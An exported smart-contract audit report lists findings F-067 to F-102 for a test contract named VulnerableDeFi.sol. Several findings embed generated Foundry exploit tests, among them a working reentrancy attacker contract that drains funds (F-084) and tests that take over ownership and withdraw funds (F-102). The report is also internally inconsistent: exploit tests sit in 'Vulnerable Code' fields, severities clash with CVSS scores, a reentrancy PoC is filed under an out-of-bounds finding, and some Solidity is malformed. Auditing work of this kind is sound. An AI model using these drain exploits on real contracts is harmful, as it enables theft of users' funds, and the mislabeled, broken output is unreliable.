Severity	CRITICAL
Category	SWC-112
CVSS Score	9.6
Location	<code>/contracts/VulnerableDeFi.sol:95 (execute)</code>
Status	open
Detected By	llamaaudit

Description

Delegatecall to an untrusted contract can overwrite storage variables in unexpected ways.

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for delegatecall vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_delegatecall() public {
        console.log("=== Starting delegatecall Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for delegatecall
        // Call vulnerable function: target.execute()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
profit");
    }
}

```

}

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Ensure delegatecall targets are trusted and immutable. Validate storage layout compatibility.

References

- No references available

F-067. timestamp_dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:75 (lottery)
Status	open
Detected By	llamaaudit

Description

Reliance on block.timestamp for critical logic, which miners can manipulate within a ~15 second window.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Avoid using block.timestamp for time-critical logic. Use block numbers or an oracle for more reliable timing.

References

- No references available

F-068. timestamp_dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:84 (isLocked)
Status	open
Detected By	llamaaudit

Description

Reliance on block.timestamp for critical logic, which miners can manipulate within a ~15 second window.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Avoid using block.timestamp for time-critical logic. Use block numbers or an oracle for more reliable timing.

References

- No references available

F-069. floating_pragma

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-103
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:2
Status	open
Detected By	llamaaudit

Description

Floating pragma version allows compilation with different compiler versions, potentially introducing bugs.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Use a fixed pragma version (e.g., `pragma solidity 0.8.20;`) to ensure deterministic compilation.

References

- No references available

F-070. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-113
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:67 (distributeRewards)
Status	open
Detected By	llamaaudit

Description

A function can be blocked from executing due to gas limits, unbounded loops, or external call failures.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Limit loop iterations or use pagination to prevent exceeding the block gas limit.

References

- No references available

F-071. Unprotected Self-Destruct

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-106
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:102 (destroy)
Status	open
Detected By	iaudit

Description

selfdestruct is present in the contract. If not properly protected, an attacker could destroy the contract and send remaining Ether to an arbitrary address.

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for selfdestruct vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_selfdestruct() public {
        console.log("=== Starting selfdestruct Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for selfdestruct
        // Call vulnerable function: target.destroy()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
profit");
    }
}

```

```
}
```

Impact Analysis

Potential selfdestruct vulnerability detected via pattern analysis

Recommendation

Remove selfdestruct if not necessary, or protect it with strict access control and multi-sig authorization.

References

- No references available

F-072. Delegatecall to Untrusted Callee

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-112
CVSS Score	9.6
Location	<code>/contracts/VulnerableDeFi.sol:95 (execute)</code>
Status	open
Detected By	iaudit

Description

delegatecall executes code in the context of the calling contract, preserving storage layout. If the target is untrusted or upgradeable, storage corruption may occur.

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for delegatecall vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_delegatecall() public {
        console.log("=== Starting delegatecall Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for delegatecall
        // Call vulnerable function: target.execute()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
        profit");
    }
}
```

```
}
```

Impact Analysis

Potential delegatecall vulnerability detected via pattern analysis

Recommendation

Only delegatecall to trusted, audited contracts. Ensure storage layouts are compatible. Use well-tested proxy patterns (UUPS, Transparent Proxy).

References

- No references available

F-073. Denial of Service via Gas Limit

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-128
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:67 (distributeRewards)
Status	open
Detected By	iaudit

Description

Unbounded loop iterating over a dynamic array or mapping. If the array grows large enough, the transaction may exceed the block gas limit and always revert.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential dos_gas vulnerability detected via pattern analysis

Recommendation

Implement pagination or pull-over-push patterns. Avoid iterating over unbounded data structures in a single transaction.

References

- No references available

F-074. Front-Running / Transaction Ordering Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-114
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:89 (approveSpender)
Status	open
Detected By	iaudit

Description

approve() followed by transferFrom() is susceptible to the known ERC-20 front-running attack on allowance changes.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential front_running vulnerability detected via pattern analysis

Recommendation

Use increaseAllowance/decreaseAllowance instead of approve. Alternatively use permit (EIP-2612) for gasless approvals.

References

- No references available

F-075. Front-Running / Transaction Ordering Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-114
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:134 (approve)
Status	open
Detected By	iaudit

Description

approve() followed by transferFrom() is susceptible to the known ERC-20 front-running attack on allowance changes.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential front_running vulnerability detected via pattern analysis

Recommendation

Use increaseAllowance/decreaseAllowance instead of approve. Alternatively use permit (EIP-2612) for gasless approvals.

References

- No references available

F-076. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-101
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:67 (distributeRewards)
Status	open
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity < 0.8.0.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity >= 0.8.0 which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- No references available

F-077. Timestamp Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:75 (lottery)
Status	open
Detected By	iaudit

Description

Contract logic depends on block.timestamp which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using block.timestamp for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- No references available

F-078. Timestamp Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-116
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:84 (isLocked)
Status	open
Detected By	iaudit

Description

Contract logic depends on block.timestamp which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using block.timestamp for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- No references available

F-079. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-104
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:95 (execute)
Status	open
Detected By	iaudit

Description

Return value of a low-level call is not checked. If the call fails silently, subsequent logic may operate on incorrect assumptions.

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for unchecked_call vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_unchecked_call() public {
        console.log("=== Starting unchecked_call Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for unchecked_call
        // Call vulnerable function: target.execute()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
        profit");
    }
}

```

```
}
```

Impact Analysis

Potential unchecked_call vulnerability detected via pattern analysis

Recommendation

Always check the return value of low-level calls. Use `require(success, "Call failed")` or `revert` on failure.

References

- No references available

F-080. solcmc_divByZero

PROPERTY	VALUE
Severity	LOW
Category	SWC-101
CVSS Score	3.7
Location	<code>/contracts/VulnerableDeFi.sol:66</code>
Status	open
Detected By	solcmc

Description

Division by zero possible

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add `require(divisor != 0)` check before division

References

- No references available

F-081. solcmc_outOfBounds

PROPERTY	VALUE
Severity	LOW
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:39
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add bounds checking before array access

References

- No references available

F-082. solcmc_outOfBounds

PROPERTY	VALUE
Severity	LOW
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:60
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add bounds checking before array access

References

- No references available

F-083. solcmc_outOfBounds

PROPERTY	VALUE
Severity	LOW
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:68
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add bounds checking before array access

References

- No references available

F-084. solcmc_outOfBounds

PROPERTY	VALUE
Severity	CRITICAL
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:107
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Array/mapping index out of bounds access
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add bounds checking before array access

References

- No references available

F-085. solcmc_outOfBounds

PROPERTY	VALUE
Severity	MEDIUM
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:108
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add bounds checking before array access

References

- No references available

F-086. solcmc_outOfBounds

PROPERTY	VALUE
Severity	MEDIUM
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:122
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add bounds checking before array access

References

- No references available

F-087. solcmc_outOfBounds

PROPERTY	VALUE
Severity	MEDIUM
Category	solcmc_outOfBounds
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:123
Status	open
Detected By	solcmc

Description

Array/mapping index out of bounds access

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add bounds checking before array access

References

- No references available

F-088. delegatecall

PROPERTY	VALUE
Severity	HIGH
Category	delegatecall
CVSS Score	9.6
Location	unknown :?
Status	open
Detected By	smartbugs_ml

Description

ML model detected delegatecall usage without proper validation

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for delegatecall vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity high
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_delegatecall() public {
        console.log("=== Starting delegatecall Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for delegatecall
        // Call vulnerable function: target.vulnerable()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
        profit");
    }
}

```

```
}
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Ensure delegatecall targets are whitelisted and validated

References

- No references available

F-089. bad_randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	bad_randomness
CVSS Score	8.0
Location	unknown :?
Status	open
Detected By	smartbugs_ml

Description

ML model detected weak randomness source (block.timestamp or blockhash)

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Use Chainlink VRF or commit-reveal scheme for randomness

References

- No references available

F-090. unprotected_selfdestruct

PROPERTY	VALUE
Severity	MEDIUM
Category	unprotected_selfdestruct
CVSS Score	8.0
Location	unknown :?
Status	open
Detected By	smartbugs_ml

Description

ML model detected selfdestruct without access control

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add access control modifiers (e.g., onlyOwner) to selfdestruct

References

- No references available

F-091. Weak Randomness Source

PROPERTY	VALUE
Severity	HIGH
Category	bad_randomness
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:75
Status	open
Detected By	smartbugs_detector

Description

block.timestamp is predictable by miners. Found at line 75.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-092. Weak Randomness Source

PROPERTY	VALUE
Severity	HIGH
Category	bad_randomness
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:76
Status	open
Detected By	smartbugs_detector

Description

block.difficulty is predictable (and deprecated). Found at line 76.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-093. Weak Randomness Source

PROPERTY	VALUE
Severity	HIGH
Category	bad_randomness
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:84
Status	open
Detected By	smartbugs_detector

Description

block.timestamp is predictable by miners. Found at line 84.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-094. Short Address Attack Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	short_addresses
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:59
Status	open
Detected By	smartbugs_detector

Description

Function 'mint' takes (address, uint) parameters without msg.data.length validation. Vulnerable to short address attack. Line 59.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-095. Short Address Attack Vulnerability

PROPERTY	VALUE
Severity	CRITICAL
Category	short_addresses
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:106
Status	open
Detected By	smartbugs_detector

Description

Function 'liquidate' takes (address, uint) parameters without msg.data.length validation. Vulnerable to short address attack. Line 106.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-096. Short Address Attack Vulnerability

PROPERTY	VALUE
Severity	HIGH
Category	short_addresses
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:129
Status	open
Detected By	smartbugs_detector

Description

Function 'swap' takes (address, uint) parameters without msg.data.length validation. Vulnerable to short address attack. Line 129.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-097. Short Address Attack Vulnerability

PROPERTY	VALUE
Severity	HIGH
Category	short_addresses
CVSS Score	8.0
Location	/contracts/VulnerableDeFi.sol:134
Status	open
Detected By	smartbugs_detector

Description

Function 'approve' takes (address, uint) parameters without msg.data.length validation. Vulnerable to short address attack. Line 134.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-098. Missing Access Control

PROPERTY	VALUE
Severity	CRITICAL
Category	access_control
CVSS Score	9.9
Location	/contracts/VulnerableDeFi.sol:100
Status	open
Detected By	smartbugs_detector

Description

Unprotected destroy function. Function 'destroy' at line 100 has no access control.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-099. Missing Access Control

PROPERTY	VALUE
Severity	CRITICAL
Category	access_control
CVSS Score	9.9
Location	/contracts/VulnerableDeFi.sol:102
Status	open
Detected By	smartbugs_detector

Description

Unprotected selfdestruct. Function 'selfdestruct' at line 102 has no access control.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-100. Timestamp Dependency

PROPERTY	VALUE
Severity	HIGH
Category	time_manipulation
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:75
Status	open
Detected By	smartbugs_detector

Description

Using block.timestamp in gambling logic at line 75. Block timestamp can be manipulated by miners.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-101. Timestamp Dependency

PROPERTY	VALUE
Severity	HIGH
Category	time_manipulation
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:84
Status	open
Detected By	smartbugs_detector

Description

Using block.timestamp in gambling logic at line 84. Block timestamp can be manipulated by miners.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Significant financial loss or contract compromise possible under certain conditions.

Recommendation

Review and fix the vulnerability.

References

- No references available

F-102. access_control

PROPERTY	VALUE
Severity	CRITICAL
Category	SC01:2025 - Access Control
CVSS Score	3.7
Location	VulnerableDeFi.sol:100 (destroy)
Status	open
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Access Control Exploit PoC
 * @notice Proof of Concept for access control vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Missing or insufficient access control on privileged function
 * Severity: critical
 * Target Function: destroy
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker identifies unprotected privileged function
 * 2. Calls function without required authorization
 * 3. Performs unauthorized actions (drain funds, change state)
 */
contract VulnerableDeFiAccessControlTest is Test {
    // Target contract interface
    interface IVulnerable {
        function owner() external view returns (address);
        function destroy(address newOwner) external;
        function withdraw() external;
        function pause() external;
        function unpause() external;
        function setFee(uint256 newFee) external;
        function emergencyWithdraw() external;
    }

    // Contracts
    IVulnerable public target;

    // Addresses
    address public attacker;
    address public legitimateOwner;
    address public victim;

    function setUp() public {
        attacker = makeAddr("attacker");
        legitimateOwner = makeAddr("legitimateOwner");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target as legitimate owner
        // vm.prank(legitimateOwner);
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));

        console.log("=== Setup Complete ===");
    }
}
```

```

        console.log("Legitimate owner:", legitimateOwner);
        console.log("Attacker:", attacker);
    }

    function test_exploit_missing_access_control() public {
        console.log("\n=== Testing Missing Access Control ===");

        // Verify current owner
        address currentOwner = target.owner();
        console.log("Current owner:", currentOwner);
        assertEq(currentOwner, legitimateOwner, "Owner should be legitimate");

        // Attacker attempts to call privileged function
        vm.startPrank(attacker);

        console.log("Attacker calling privileged function...");

        // This should fail if properly protected
        // But if vulnerable, attacker gains control
        try target.destroy(attacker) {
            console.log("SUCCESS: Attacker called privileged function!");

            // Verify ownership transferred
            address newOwner = target.owner();
            console.log("New owner:", newOwner);

            assertEq(newOwner, attacker, "Attacker should be new owner");
        } catch {
            console.log("FAILED: Function is properly protected");
        }

        vm.stopPrank();
    }

    function test_exploit_tx_origin_auth() public {
        console.log("\n=== Testing tx.origin Authentication ===");

        // tx.origin vulnerability allows phishing attacks
        // where attacker tricks owner into calling malicious contract

        vm.prank(legitimateOwner);
        // If target uses tx.origin, this would pass even from malicious contract
        // MaliciousContract(attacker).trick(target);
    }

    function test_exploit_initialization() public {
        console.log("\n=== Testing Uninitialized Proxy ===");

        // Many proxies are vulnerable to initialization front-running
        // Attacker can call initialize() before legitimate deployment

        vm.prank(attacker);
        // target.initialize(attacker);

        // Verify attacker is now owner
        // assertEq(target.owner(), attacker);
    }

    function test_exploit_role_escalation() public {
        console.log("\n=== Testing Role Escalation ===");
    }

```

```

    // Check if attacker can grant themselves roles
    vm.startPrank(attacker);

    // Attempt to grant admin role
    // target.grantRole(ADMIN_ROLE, attacker);

    // Check if attacker has role now
    // assertTrue(target.hasRole(ADMIN_ROLE, attacker));

    vm.stopPrank();
}

function test_drain_funds_after_takeover() public {
    console.log("\n=== Draining Funds After Takeover ===");

    // Fund the target contract
    vm.deal(address(target), 10 ether);
    console.log("Target balance:", address(target).balance);

    // First, take over ownership
    vm.prank(attacker);
    try target.destroy(attacker) {
        console.log("Ownership taken!");

        // Now drain funds
        uint256 attackerBalanceBefore = attacker.balance;

        vm.prank(attacker);
        target.withdraw();

        uint256 attackerBalanceAfter = attacker.balance;
        console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore);

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Should have
drained funds");
    } catch {
        console.log("Could not take ownership");
    }
}

